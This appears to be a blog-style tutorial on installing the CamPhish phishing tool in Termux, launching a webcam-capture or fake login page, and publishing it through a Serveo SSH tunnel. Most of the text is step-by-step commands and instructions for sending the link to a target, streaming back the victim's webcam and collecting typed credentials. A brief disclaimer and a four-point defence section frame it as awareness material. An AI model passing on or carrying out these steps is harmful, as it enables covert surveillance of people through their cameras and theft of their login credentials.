How to Get Front Camera Access Using CamPhish in Termux

Disclaimer: This guide is strictly for educational purposes to raise awareness about phishing attacks and how to defend against them. Unauthorized use of this tool is unethical and illegal. Always act responsibly.

What Is CamPhish?

CamPhish is a phishing tool that combines traditional phishing techniques with webcam hacking. It creates phishing pages that trick users into granting access to their webcams, alongside asking for sensitive information. It’s commonly used in cybersecurity awareness programs to demonstrate the dangers of phishing.

Setting Up CamPhish in Termux

Step 1: Install Termux

  1. Download Termux from F-Droid or the Google Play Store.
  2. Update and upgrade the Termux packages: 
    apt update && apt upgrade

Step 2: Install Required Packages

Install the dependencies required for CamPhish:

pkg install git php openssh curl wget -y

Step 3: Clone the CamPhish Repository

Clone the official CamPhish GitHub repository into your Termux environment:

git clone CamPhish

Step 4: Navigate to the CamPhish Directory

Navigate to the folder where CamPhish is stored:

cd CamPhish

Step 5: Grant Execute Permissions

Make the CamPhish script executable:

chmod +x camphish.sh

Launching CamPhish with Localhost and Serveo Port Forwarding

Step 1: Start CamPhish

Run the CamPhish script:

bash camphish.sh

Step 2: Choose a Phishing Template

CamPhish offers two types of phishing templates:

  1. Standard Phishing: Mimics traditional login forms.
  2. Webcam Capture Phishing: Tricks users into granting webcam access.

Choose the desired option based on the demonstration purpose.

Step 3: Host the Phishing Page Locally

After selecting the template, choose the Localhost hosting option. This will set up the phishing page on your local Termux server.

Step 4: Port Forward with Serveo

Now that your phishing page is hosted locally, use Serveo to expose it to the internet:

  1. Forward the localhost port (default is 8080) to a public URL using Serveo:

    ssh -R 80:localhost:8080 serveo.net

  2. Once the command executes, Serveo will provide a public URL, like https://your-subdomain.serveo.net.

Step 5: Copy and Share the Link

Share the Serveo-generated link with the target. Ensure you only do this ethically, for awareness or testing purposes, and with prior consent.

How CamPhish Works

  1. Webcam Access: When the target clicks the link, they are prompted to allow webcam access. If they grant it, their webcam feed is streamed back to you.
  2. Credential Harvesting: If using a login page, entered credentials will be displayed in your Termux session.

Defending Against CamPhish Attacks

  1. Avoid Clicking Suspicious Links: Always verify the source of links before clicking.
  2. Block Webcam Permissions: Deny any unexpected or suspicious requests for webcam access.
  3. Enable Antivirus Software: Use tools with phishing protection to block malicious pages.
  4. Educate Others: Teach friends and family how to recognize phishing attempts.

Conclusion

CamPhish is a powerful tool for demonstrating the risks of phishing and webcam hacking. While this guide explains its setup and use with localhost and Serveo, it is intended solely for ethical purposes. Always prioritize cybersecurity education and ensure that your actions remain within the bounds of legality and ethics.

Stay safe, and always think before you click!
